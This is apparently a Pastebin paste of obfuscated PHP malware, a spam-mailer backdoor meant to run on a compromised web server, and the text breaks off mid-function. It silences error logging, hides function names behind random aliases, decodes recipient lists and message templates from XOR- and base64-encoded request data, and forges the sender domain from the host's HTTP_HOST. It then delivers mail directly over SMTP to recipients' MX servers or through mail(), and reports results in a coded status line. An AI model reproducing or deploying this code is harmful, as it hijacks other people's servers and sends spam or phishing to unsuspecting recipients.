Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $r42 = "/`.U7l=n>H?3@\"X)<9yiu{S|p#T%YZR8mQ4]h(q:^BD~ALaEJ!Pw\r0tv'-G6z,oN_[KeOC 2Fs+Mj5\nrdW*\tkf}\\x1g&;V\$bcI";
- $GLOBALS = array(
- 'aonou50' => 'error_reporting',
- 'rmyuf73' => 'ini_set',
- 'jpyvd6' => 'define',
- 'zdcfr88' => 'npuip65',
- 'objwf19' => 'rjqbo65',
- 'sslhr82' => 'md5',
- 'drfep85' => 'count',
- 'fosip69' => 'time',
- 'mqaeu21' => 'constant',
- 'madvj45' => 'jxbpo86',
- 'qguhq55' => 'carlg0',
- 'zyuaq75' => 'hradq9',
- 'judge60' => 'yqrtj91',
- 'eczpy44' => 'iiuka71',
- 'ohklq57' => 'function_exists',
- 'vxlgq93' => 'mail',
- 'ztbks50' => 'ujpoy39',
- 'ffpyl73' => 'ihecv47',
- 'jebkv91' => 'usleep',
- 'almzs43' => 'ubtcu36',
- 'gfwqe57' => 'etkcc59',
- 'addbp5' => 'trim',
- 'hmtmi82' => 'preg_replace',
- 'dvjeo20' => 'gethostbyname',
- 'qpehx39' => 'preg_match',
- 'gpenv13' => 'wldwf87',
- 'skfzs2' => 'xbeqq8',
- 'fdnmo27' => 'oworb52',
- 'ipzxy4' => 'wmhsu65',
- 'lnpzx74' => 'strlen',
- 'npbpf49' => 'tenht73',
- 'kyvxn54' => 'fmwwl90',
- 'zyqqq63' => 'array_keys',
- 'xsyuy21' => 'socket_select',
- 'gppvy20' => 'ucfirst',
- 'gifyv69' => 'str_replace',
- 'luycy50' => 'ini_get',
- 'kyvrh10' => 'blbas39',
- 'rtevy34' => 'date',
- 'soxww79' => 'getmxrr',
- 'ctwop59' => 'herwg20',
- 'ugoro92' => 'min',
- 'crqwt35' => array(),
- 'xbvuw92' => 'ypguw15',
- 'cvvbh10' => 'preg_split',
- 'wsgrk37' => 'herjq77',
- 'rlcnp22' => 'chr',
- 'zblja21' => 'ord',
- 'vgjfa16' => 'urldecode',
- 'mhliw31' => 'stripslashes',
- 'bucwx36' => 'array_flip',
- 'prqlq55' => 'preg_match_all',
- 'rlkva29' => 'base64_encode',
- 'bqrbf81' => 'socket_create',
- 'hirkg98' => 'socket_last_error',
- 'wzceo40' => 'socket_strerror',
- 'syjnl62' => 'socket_set_option',
- 'tbdmf34' => 'socket_set_nonblock',
- 'enfdc8' => 'socket_connect',
- 'uhxuy36' => 'fsockopen',
- 'ldpya8' => 'stream_set_blocking',
- 'jfahd2' => 'stream_set_timeout',
- 'gdquq70' => 'stream_socket_client',
- 'crqar43' => 'socket_close',
- 'gvggw18' => 'fclose',
- 'cuonk91' => 'socket_read',
- 'zktzx53' => 'feof',
- 'mltwi0' => 'fread',
- 'bbnev99' => 'socket_write',
- 'xgity40' => 'fwrite',
- 'owuzd88' => 'rand',
- 'qopav36' => 'explode',
- 'kruxq58' => 'pack',
- 'gworo7' => 'unpack',
- 'wdywt40' => 'gxhti26',
- 'olrol8' => 'array_merge',
- 'lzbmz15' => 'long2ip'
- );
- @error_reporting(NULL);
- @ini_set('error_log', NULL);
- @ini_set('log_errors', 0);
- define('DNS_TYPE_MX', 0x000F);
- define('DNS_TYPE_A', 0x0001);
- define('DNS_TYPE_NS', 0x0002);
- define('DNS_STEP_QESTION', 1);
- define('DNS_STEP_ANSWER', 2);
- define('DNS_STEP_AUTHORITY', 3);
- define('DNS_STEP_ADDITIONAL', 4);
- define('SOCKET_TYPE_SOCKET', 1);
- define('SOCKET_TYPE_FSOCKET', 2);
- define('SOCKET_TYPE_STREAM', 4);
- define('SOCKET_TYPE_NO', 5);
- define('SOCKET_PROTO_TCP', 1);
- define('SOCKET_PROTO_UDP', 2);
- define('STEP_CONNECT', 0);
- define('STEP_CONNECTED', 1);
- define('STEP_EHLO', 2);
- define('STEP_MAILFROM', 3);
- define('STEP_RCPTTO', 4);
- define('STEP_DATA', 5);
- define('STEP_BODY', 6);
- define('STEP_QUIT', 7);
- define('STEP_COMPLETED', 8);
- npuip65($r42, NULL);
- $vrtwz97 = array(
- 'toList' => "",
- 'fromLogin' => "",
- 'fromName' => "",
- 'subjTempl' => "",
- 'bodyTempl' => "",
- 'hostFrom' => ""
- );
- if (FALSE == rjqbo65($r42, $vrtwz97)) {
- echo PHP_OS . '+' . md5(0987654321) . '+01+[[]]
- ';
- exit;
- }
- $mmnik46 = array();
- for ($uuuqf17 = 0; $uuuqf17 < count($vrtwz97['toList']); $uuuqf17++) {
- $novbn53 = array(
- 'id' => $uuuqf17,
- 'g_mailto' => "",
- 'g_mailto+' => "",
- 'g_mailfrom' => "",
- 'g_mailfrom+' => "",
- 'g_domainto' => "",
- 'g_domainfrom' => "",
- 'g_namefirst' => "",
- 'g_namelast' => "",
- 'g_body' => "",
- 'g_subject' => "",
- 'g_fff' => FALSE,
- 'g_header' => "",
- 'g_headerfrom' => "",
- 's_header' => "",
- 's_mxhost' => "",
- 's_mxaddr' => FALSE,
- 's_sock' => FALSE,
- 's_time' => time(),
- 's_step' => constant('STEP_CONNECT'),
- 's_port' => 25,
- 's_datain' => "",
- 's_dataout' => "",
- 's_trig' => FALSE,
- 'l_err' => "",
- 'l_done' => FALSE,
- 'l_way' => 0,
- 'l_failsmtp' => FALSE,
- 'l_smtp_end' => FALSE
- );
- if (FALSE == jxbpo86($r42, $vrtwz97['toList'][$uuuqf17], $vrtwz97, $novbn53)) {
- echo PHP_OS . '+' . md5(1111111111) . '+02+[[' . carlg0($r42, $vrtwz97['toList'][$uuuqf17]) . ']]
- ';
- continue;
- }
- $mmnik46[] = $novbn53;
- }
- hradq9($r42, $mmnik46);
- yqrtj91($r42, $mmnik46);
- iiuka71($r42, $mmnik46);
- exit;
- function iiuka71($r42, $mmnik46)
- {
- $opvds84 = 0;
- $duzfx17 = "";
- for ($uuuqf17 = 0; $uuuqf17 < count($mmnik46); $uuuqf17++) {
- if ($mmnik46[$uuuqf17]['l_failsmtp'] == TRUE) {
- echo PHP_OS . '+' . md5(2222222222) . '+04+[[' . carlg0($r42, $mmnik46[$uuuqf17]['g_mailto'] . ' :: ' . $mmnik46[$uuuqf17]['l_err']) . ']]
- ';
- }
- if ($mmnik46[$uuuqf17]['l_done'] == TRUE) {
- $duzfx17 .= $mmnik46[$uuuqf17]['l_way'];
- $opvds84++;
- }
- }
- if ($opvds84 == 0) {
- echo PHP_OS . '+' . md5(0987654321) . '+04+[[]]
- ';
- } else {
- echo 'OK+' . md5(1234567890) . '+' . $opvds84 . '+' . count($mmnik46) . '[' . $duzfx17 . ']
- ';
- }
- }
- function yqrtj91($r42, &$mmnik46)
- {
- if (!function_exists('mail')) {
- return FALSE;
- }
- for ($uuuqf17 = 0; $uuuqf17 < count($mmnik46); $uuuqf17++) {
- if ($mmnik46[$uuuqf17]['l_done'] == TRUE) {
- continue;
- }
- if ($mmnik46[$uuuqf17]['g_fff']) {
- if (@mail($mmnik46[$uuuqf17]['g_mailto+'], $mmnik46[$uuuqf17]['g_subject'], $mmnik46[$uuuqf17]['g_body'], $mmnik46[$uuuqf17]['g_headerfrom'] . $mmnik46[$uuuqf17]['g_header'], '-f' . $mmnik46[$uuuqf17]['g_mailfrom'])) {
- $mmnik46[$uuuqf17]['l_done'] = TRUE;
- $mmnik46[$uuuqf17]['l_way'] = 2;
- } else {
- $mmnik46[$uuuqf17]['l_done'] = FALSE;
- }
- } else {
- if (@mail($mmnik46[$uuuqf17]['g_mailto+'], $mmnik46[$uuuqf17]['g_subject'], $mmnik46[$uuuqf17]['g_body'], $mmnik46[$uuuqf17]['g_header'])) {
- $mmnik46[$uuuqf17]['l_done'] = TRUE;
- $mmnik46[$uuuqf17]['l_way'] = 2;
- } else {
- $mmnik46[$uuuqf17]['l_done'] = FALSE;
- }
- }
- }
- }
- function hradq9($r42, &$mmnik46)
- {
- while (ujpoy39($r42, $mmnik46)) {
- ihecv47($r42, $mmnik46);
- usleep(25000);
- }
- }
- function ubtcu36($r42, &$mmnik46, $lyjgo3, $tflwd88, $qvegu45)
- {
- if ($mmnik46[$lyjgo3]['s_sock'] != FALSE) {
- etkcc59($r42, $mmnik46[$lyjgo3]['s_sock']);
- }
- $mmnik46[$lyjgo3]['l_err'] = '[' . $mmnik46[$lyjgo3]['s_step'] . ']' . trim(preg_replace('/
- /', ' ', $tflwd88));
- $mmnik46[$lyjgo3]['l_failsmtp'] = $qvegu45;
- $mmnik46[$lyjgo3]['l_smtp_end'] = TRUE;
- return;
- }
- function ihecv47($r42, &$mmnik46)
- {
- $ifcem45 = time();
- foreach ($mmnik46 as $lyjgo3 => $novbn53) {
- if ($novbn53['l_smtp_end'] == TRUE) {
- continue;
- }
- if ($novbn53['s_time'] + 20 < $ifcem45) {
- if ($mmnik46[$lyjgo3]['s_step'] == constant('STEP_CONNECT') && $mmnik46[$lyjgo3]['s_port'] != 587) {
- etkcc59($r42, $mmnik46[$lyjgo3]['s_sock']);
- $mmnik46[$lyjgo3]['s_port'] = 587;
- $mmnik46[$lyjgo3]['s_time'] = time();
- continue;
- }
- ubtcu36($r42, $mmnik46, $lyjgo3, 'timeout', FALSE);
- continue;
- }
- switch ($mmnik46[$lyjgo3]['s_step']) {
- case constant('STEP_CONNECT'):
- if ($mmnik46[$lyjgo3]['s_mxaddr'] == FALSE) {
- $mmnik46[$lyjgo3]['s_mxaddr'] = @gethostbyname($mmnik46[$lyjgo3]['s_mxhost']);
- if (!@preg_match('/([0-9]{1,3}\.?){4}/', $mmnik46[$lyjgo3]['s_mxaddr'])) {
- ubtcu36($r42, $mmnik46, $lyjgo3, 'resolve mx', FALSE);
- break;
- }
- }
- $jmvht55 = 0;
- $ttsxi60 = '';
- $mmnik46[$lyjgo3]['s_sock'] = wldwf87($r42, $mmnik46[$lyjgo3]['s_sock'], constant('SOCKET_PROTO_TCP'), $mmnik46[$lyjgo3]['s_mxaddr'], $mmnik46[$lyjgo3]['s_port'], 2, $jmvht55, $ttsxi60, TRUE);
- if ($mmnik46[$lyjgo3]['s_sock'] == FALSE) {
- break;
- }
- if ($jmvht55 == 0 || $jmvht55 === 56 || $jmvht55 === 10056) {
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_CONNECTED');
- xbeqq8($r42, $mmnik46[$lyjgo3]['s_sock'], 15);
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- case constant('STEP_CONNECTED'):
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = 'EHLO ' . $mmnik46[$lyjgo3]['g_domainfrom'] . '
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_EHLO');
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- case constant('STEP_EHLO'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
- break;
- }
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = 'MAIL FROM:<' . $mmnik46[$lyjgo3]['g_mailfrom'] . '>
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_MAILFROM');
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- }
- break;
- case constant('STEP_MAILFROM'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
- break;
- }
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = 'RCPT TO:<' . $mmnik46[$lyjgo3]['g_mailto'] . '>
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_RCPTTO');
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- }
- break;
- case constant('STEP_RCPTTO'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250 && substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 251) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
- break;
- }
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = 'DATA
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_DATA');
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- }
- break;
- case constant('STEP_DATA'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 354) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
- break;
- }
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = $mmnik46[$lyjgo3]['s_header'] . '
- ' . $mmnik46[$lyjgo3]['g_body'] . '
- .
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_BODY');
- $mmnik46[$lyjgo3]['s_time'] = time();
- }
- break;
- }
- break;
- case constant('STEP_BODY'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- if (oworb52($r42, $mmnik46, $lyjgo3)) {
- if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
- break;
- }
- $mmnik46[$lyjgo3]['s_datain'] = "";
- $mmnik46[$lyjgo3]['s_dataout'] = 'QUIT
- ';
- $mmnik46[$lyjgo3]['s_step'] = constant('STEP_QUIT');
- $mmnik46[$lyjgo3]['s_time'] = time();
- $mmnik46[$lyjgo3]['l_done'] = TRUE;
- $mmnik46[$lyjgo3]['l_way'] = 1;
- }
- break;
- }
- break;
- case constant('STEP_QUIT'):
- if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
- ubtcu36($r42, $mmnik46, $lyjgo3, "", FALSE);
- }
- break;
- }
- }
- }
- function oworb52($r42, &$mmnik46, $lyjgo3)
- {
- $jmvht55 = 0;
- $ttsxi60 = "";
- if ($mmnik46[$lyjgo3]['s_trig'] == FALSE) {
- if (strlen($mmnik46[$lyjgo3]['s_datain']) != 0) {
- return TRUE;
- }
- return FALSE;
- }
- $vvrje90 = tenht73($r42, $mmnik46[$lyjgo3]['s_sock'], 4086, $jmvht55, $ttsxi60);
- if ($vvrje90 == FALSE || $vvrje90 == "") {
- if ($jmvht55 != 35 && $jmvht55 != 10035 && $jmvht55 != 11 && $jmvht55 != 10060) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $ttsxi60, FALSE);
- return FALSE;
- }
- if (strlen($mmnik46[$lyjgo3]['s_datain']) != 0) {
- return TRUE;
- }
- return FALSE;
- }
- $mmnik46[$lyjgo3]['s_datain'] = $vvrje90;
- return FALSE;
- }
- function wmhsu65($r42, &$mmnik46, $lyjgo3)
- {
- $jmvht55 = 0;
- $ttsxi60 = "";
- if (strlen($mmnik46[$lyjgo3]['s_dataout']) == 0) {
- return TRUE;
- }
- $vvrje90 = fmwwl90($r42, $mmnik46[$lyjgo3]['s_sock'], $mmnik46[$lyjgo3]['s_dataout'], $jmvht55, $ttsxi60);
- if ($vvrje90 == FALSE) {
- if ($jmvht55 != 35 && $jmvht55 != 10035 && $jmvht55 != 11 && $jmvht55 != 10060) {
- ubtcu36($r42, $mmnik46, $lyjgo3, $ttsxi60, FALSE);
- }
- return FALSE;
- }
- $mmnik46[$lyjgo3]['s_dataout'] = substr($mmnik46[$lyjgo3]['s_dataout'], $vvrje90);
- if (strlen($mmnik46[$lyjgo3]['s_dataout']) == 0) {
- return TRUE;
- }
- return FALSE;
- }
- function ujpoy39($r42, &$mmnik46)
- {
- $qugkp78 = FALSE;
- if (constant('SOCKET_TYPE') != constant('SOCKET_TYPE_SOCKET')) {
- foreach (array_keys($mmnik46) as $lyjgo3) {
- if ($mmnik46[$lyjgo3]['l_smtp_end'] != TRUE) {
- $mmnik46[$lyjgo3]['s_trig'] = TRUE;
- $qugkp78 = TRUE;
- }
- }
- return $qugkp78;
- }
- $waxpl19 = array();
- foreach (array_keys($mmnik46) as $lyjgo3) {
- if ($mmnik46[$lyjgo3]['l_smtp_end'] != TRUE) {
- if ($mmnik46[$lyjgo3]['s_sock'] == 0 || $mmnik46[$lyjgo3]['s_step'] == constant('STEP_CONNECT')) {
- $mmnik46[$lyjgo3]['s_trig'] = TRUE;
- } else {
- $mmnik46[$lyjgo3]['s_trig'] = FALSE;
- $waxpl19[] = $mmnik46[$lyjgo3]['s_sock'];
- }
- $qugkp78 = TRUE;
- }
- }
- if (count($waxpl19) == 0) {
- return $qugkp78;
- }
- $adkol45 = @socket_select($waxpl19, $awtej10 = NULL, $vapgy82 = NULL, 0);
- if ($adkol45 == FALSE || $adkol45 == 0) {
- return $qugkp78;
- }
- foreach (array_keys($mmnik46) as $lyjgo3) {
- $mmnik46[$lyjgo3]['s_trig'] = FALSE;
- foreach ($waxpl19 as $rocge62) {
- if ($mmnik46[$lyjgo3]['s_sock'] == $rocge62) {
- $mmnik46[$lyjgo3]['s_trig'] = TRUE;
- break;
- }
- }
- }
- return $qugkp78;
- }
- function npuip65($r42, $mrjhr38)
- {
- if (function_exists('socket_create') && function_exists('socket_connect') && function_exists('socket_read') && function_exists('socket_write')) {
- define('SOCKET_TYPE', constant('SOCKET_TYPE_SOCKET'));
- return TRUE;
- }
- if (function_exists('fsockopen')) {
- define('SOCKET_TYPE', constant('SOCKET_TYPE_FSOCKET'));
- return TRUE;
- }
- if (function_exists('stream_socket_client')) {
- define('SOCKET_TYPE', constant('SOCKET_TYPE_STREAM'));
- return TRUE;
- }
- define('SOCKET_TYPE', constant('SOCKET_TYPE_NO'));
- return FALSE;
- }
- function jxbpo86($r42, $lkofe54, $vrtwz97, &$novbn53)
- {
- $zqkzh39 = array();
- if (FALSE === @preg_match('/(.*?;)?(.*?;)?(.+@(.+)?);?/', $lkofe54, $zqkzh39)) {
- return FALSE;
- }
- if (!isset($zqkzh39) || count($zqkzh39) != 5) {
- return FALSE;
- }
- $novbn53['g_namefirst'] = @ucfirst(str_replace(';', "", $zqkzh39[1]));
- $novbn53['g_namelast'] = @ucfirst(str_replace(';', "", $zqkzh39[2]));
- $novbn53['g_mailto'] = str_replace(';', "", $zqkzh39[3]);
- $novbn53['g_domainto'] = str_replace(';', "", $zqkzh39[4]);
- if (!isset($novbn53['g_mailto']) || $novbn53['g_mailto'] == "") {
- return FALSE;
- }
- if (!isset($novbn53['g_domainto']) || $novbn53['g_domainto'] == "") {
- return FALSE;
- }
- if (isset($novbn53['g_namefirst']) && $novbn53['g_namefirst'] != "") {
- $novbn53['g_mailto+'] = '"' . $novbn53['g_namefirst'] . ' ' . $novbn53['g_namelast'] . '" <' . $novbn53['g_mailto'] . '>';
- } else {
- $novbn53['g_mailto+'] = $novbn53['g_mailto'];
- }
- $novbn53['g_domainfrom'] = $vrtwz97['hostFrom'];
- if (preg_match('/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/', $vrtwz97['hostFrom']) || @ini_get('safe_mode')) {
- $novbn53['g_fff'] = FALSE;
- } else {
- $novbn53['g_fff'] = TRUE;
- }
- $novbn53['g_mailfrom'] = $vrtwz97['fromLogin'] . '@' . $vrtwz97['hostFrom'];
- if (isset($vrtwz97['fromName']) && $vrtwz97['fromName'] != "") {
- $novbn53['g_mailfrom+'] = $vrtwz97['fromName'] . ' <' . $novbn53['g_mailfrom'] . '>';
- } else {
- $novbn53['g_mailfrom+'] = $novbn53['g_mailfrom'];
- }
- $novbn53['s_mxhost'] = blbas39($r42, $novbn53['g_domainto']);
- $novbn53['g_subject'] = @str_replace('%R_NAME%', $novbn53['g_namefirst'], $vrtwz97['subjTempl']);
- $novbn53['g_subject'] = @str_replace('%R_LNAME%', $novbn53['g_namelast'], $novbn53['g_subject']);
- $novbn53['g_body'] = @str_replace('%R_NAME%', $novbn53['g_namefirst'], $vrtwz97['bodyTempl']);
- $novbn53['g_body'] = @str_replace('%R_LNAME%', $novbn53['g_namelast'], $novbn53['g_body']);
- $novbn53['g_body'] = @str_replace('%MAIL_EN%', carlg0($r42, $novbn53['g_mailto']), $novbn53['g_body']);
- $novbn53['g_header'] = 'X-Priority: 3 (Normal)
- ';
- $novbn53['g_header'] .= 'MIME-Version: 1.0
- ';
- $novbn53['g_header'] .= 'Content-Type: text/html; charset="iso-8859-1"
- ';
- $novbn53['g_header'] .= 'Content-Transfer-Encoding: 8bit
- ';
- $novbn53['g_headerfrom'] = 'From: ' . $novbn53['g_mailfrom+'] . '
- ';
- $novbn53['g_headerfrom'] .= 'Reply-To:' . $novbn53['g_mailfrom+'] . '
- ';
- $novbn53['s_header'] = 'Date: ' . @date('D, j M Y G:i:s O') . '
- ';
- $novbn53['s_header'] .= $novbn53['g_headerfrom'];
- $novbn53['s_header'] .= 'Message-ID: <' . preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time())) . '@' . $vrtwz97['hostFrom'] . '>
- ';
- $novbn53['s_header'] .= 'To: ' . $novbn53['g_mailto+'] . '
- ';
- $novbn53['s_header'] .= 'Subject: ' . $novbn53['g_subject'] . '
- ';
- $novbn53['s_header'] .= $novbn53['g_header'];
- return TRUE;
- }
- function blbas39($r42, $ojgjp4)
- {
- $tqjgf76 = array();
- $vawzo87 = array();
- if (function_exists('getmxrr')) {
- @getmxrr($ojgjp4, $tqjgf76, $vawzo87);
- } else {
- if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_NO')) {
- return FALSE;
- }
- $adkol45 = herwg20($r42, $ojgjp4, constant('DNS_TYPE_MX'));
- if ($adkol45 == FALSE || !isset($adkol45['ans'])) {
- return FALSE;
- }
- foreach ($adkol45['ans'] as $ocdgf78) {
- if ($ocdgf78['type'] == constant('DNS_TYPE_MX')) {
- $tqjgf76[] = $ocdgf78['data'];
- $vawzo87[] = $ocdgf78['preference'];
- }
- }
- }
- if (count($tqjgf76) == 0) {
- return FALSE;
- }
- $oikup15 = array_keys($vawzo87, min($vawzo87));
- return $tqjgf76[$oikup15[0]];
- }
- function rjqbo65($r42, &$vrtwz97)
- {
- if (count($GLOBALS['crqwt35']) < 2) {
- return FALSE;
- }
- $sfofm54 = false;
- $qwrxh68 = $itctt55 = "";
- foreach (array_keys($GLOBALS['crqwt35']) as $vjuki12) {
- if ($vjuki12[0] == 'l') {
- $qwrxh68 = $vjuki12;
- }
- if ($vjuki12[0] == 'd') {
- $itctt55 = $vjuki12;
- }
- if ($vjuki12[0] == 'e') {
- $sfofm54 = true;
- }
- }
- if ($qwrxh68 == "" || $itctt55 == "") {
- return FALSE;
- }
- $efrpt72 = ypguw15($r42, $qwrxh68, $sfofm54);
- $iejlj90 = ypguw15($r42, $itctt55, $sfofm54);
- if ($efrpt72 == FALSE || $iejlj90 == FALSE) {
- return FALSE;
- }
- $vrtwz97['toList'] = @preg_split('/#/', $efrpt72);
- $vrtwz97['fromLogin'] = $vrtwz97['fromName'] = $vrtwz97['subjTempl'] = $vrtwz97['bodyTempl'] = "";
- $zqkzh39 = array();
- if (FALSE !== @preg_match('/<USER>(.*?)<\/USER>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
- $vrtwz97['fromLogin'] = $zqkzh39[1];
- }
- if (FALSE !== @preg_match('/<NAME>(.*?)<\/NAME>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
- $vrtwz97['fromName'] = $zqkzh39[1];
- }
- if (FALSE !== @preg_match('/<SUBJ>(.*?)<\/SUBJ>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
- $vrtwz97['subjTempl'] = $zqkzh39[1];
- }
- if (FALSE !== @preg_match('/<SBODY>(.*?)<\/SBODY>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
- $vrtwz97['bodyTempl'] = $zqkzh39[1];
- }
- $vrtwz97['hostFrom'] = @preg_replace('/^(www|ftp)\./i', '', $_SERVER['HTTP_HOST']);
- return TRUE;
- }
- function ypguw15($r42, $vjuki12, $sfofm54)
- {
- if (!isset($vjuki12) || $vjuki12 == "") {
- return FALSE;
- }
- $zeqgt70 = @$GLOBALS['crqwt35'][$vjuki12];
- if ($sfofm54) {
- $zeqgt70 = herjq77($r42, $zeqgt70);
- for ($oikup15 = 0; $oikup15 < strlen($zeqgt70); $oikup15++) {
- $zeqgt70[$oikup15] = chr(ord($zeqgt70[$oikup15]) ^ 2);
- }
- }
- return urldecode(stripslashes($zeqgt70));
- }
- function herjq77($r42, $sclac71)
- {
- $qugkp78 = "";
- for ($uuuqf17 = 0; $uuuqf17 < 256; $uuuqf17++) {
- $gdhxk63[$uuuqf17] = chr($uuuqf17);
- }
- $uzlie40 = array_flip(preg_split('//', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', -1, 1));
- $htibf61 = array();
- preg_match_all('([A-z0-9+\/]{1,4})', $sclac71, $htibf61);
- foreach ($htibf61[0] as $mwvtg92) {
- $phqtg90 = 0;
- for ($uuuqf17 = 0; isset($mwvtg92[$uuuqf17]); $uuuqf17++) {
- $phqtg90 = ($phqtg90 << 6) + $uzlie40[$mwvtg92[$uuuqf17]];
- if ($uuuqf17 > 0) {
- $qugkp78 .= $gdhxk63[$phqtg90 >> (4 - (2 * ($uuuqf17 - 1)))];
- $phqtg90 = $phqtg90 & (0xf >> (2 * ($uuuqf17 - 1)));
- }
- }
- }
- return $qugkp78;
- }
- function carlg0($r42, $wvwge14)
- {
- for ($oikup15 = 0; $oikup15 < strlen($wvwge14); $oikup15++) {
- $wvwge14[$oikup15] = chr(ord($wvwge14[$oikup15]) ^ 2);
- }
- return base64_encode($wvwge14);
- }
- function wldwf87($r42, $drtgm97, $vdnfl66, $xsqey76, $zpsxl98, $aikce84, &$jmvht55, &$ttsxi60, $bimcx77 = false)
- {
- $slnjd70 = "";
- $eumba8 = NULL;
- $xfwfa66 = NULL;
- $jmvht55 = 0;
- $ttsxi60 = "";
- if ($vdnfl66 == constant('SOCKET_PROTO_TCP')) {
- $slnjd70 = 'tcp';
- $eumba8 = SOL_TCP;
- $xfwfa66 = SOCK_STREAM;
- } else if ($vdnfl66 == constant('SOCKET_PROTO_UDP')) {
- $slnjd70 = 'udp';
- $xfwfa66 = SOCK_DGRAM;
- $eumba8 = SOL_UDP;
- } else {
- $ttsxi60 = 'Error: invalid protocol';
- return FALSE;
- }
- switch (constant('SOCKET_TYPE')) {
- case constant('SOCKET_TYPE_SOCKET'):
- if ($drtgm97 == FALSE) {
- $drtgm97 = @socket_create(AF_INET, $xfwfa66, $eumba8);
- if ($drtgm97 == FALSE) {
- $jmvht55 = socket_last_error();
- $ttsxi60 = socket_strerror($jmvht55);
- break;
- }
- socket_set_option($drtgm97, SOL_SOCKET, SO_REUSEADDR, 1);
- socket_set_option($drtgm97, SOL_SOCKET, SO_RCVTIMEO, array(
- 'sec' => $aikce84,
- 'usec' => 0
- ));
- socket_set_option($drtgm97, SOL_SOCKET, SO_SNDTIMEO, array(
- 'sec' => $aikce84,
- 'usec' => 0
- ));
- if ($bimcx77) {
- socket_set_nonblock($drtgm97);
- }
- }
- if (!@socket_connect($drtgm97, $xsqey76, $zpsxl98)) {
- $jmvht55 = socket_last_error($drtgm97);
- $ttsxi60 = socket_strerror($jmvht55);
- }
- if ($bimcx77) {
- socket_set_nonblock($drtgm97);
- }
- break;
- case constant('SOCKET_TYPE_FSOCKET'):
- $drtgm97 = @fsockopen($slnjd70 . '://' . $xsqey76, $zpsxl98, $jmvht55, $ttsxi60, $aikce84);
- if ($drtgm97 && $bimcx77) {
- @stream_set_blocking($drtgm97, 0);
- }
- @stream_set_timeout($drtgm97, $aikce84);
- break;
- case constant('SOCKET_TYPE_STREAM'):
- $drtgm97 = @stream_socket_client($slnjd70 . '://' . $xsqey76 . ':' . $zpsxl98, $jmvht55, $ttsxi60, $aikce84);
- if ($drtgm97 && $bimcx77) {
- @stream_set_blocking($drtgm97, 0);
- }
- @stream_set_timeout($drtgm97, $aikce84);
- break;
- default:
- $ttsxi60 = 'Error: invalid socket type';
- return FALSE;
- }
- return $drtgm97;
- }
- function etkcc59($r42, &$drtgm97)
- {
- if ($drtgm97 == FALSE) {
- return;
- }
- if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
- @stream_close($drtgm97);
- } else {
- @fclose($drtgm97);
- }
- $drtgm97 = FALSE;
- return;
- }
- function tenht73($r42, $drtgm97, $wvnpi33, &$jmvht55, &$ttsxi60)
- {
- if ($drtgm97 == FALSE) {
- return FALSE;
- }
- if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
- $qugkp78 = @socket_read($drtgm97, $wvnpi33, PHP_BINARY_READ);
- if ($qugkp78 == FALSE) {
- $jmvht55 = socket_last_error($drtgm97);
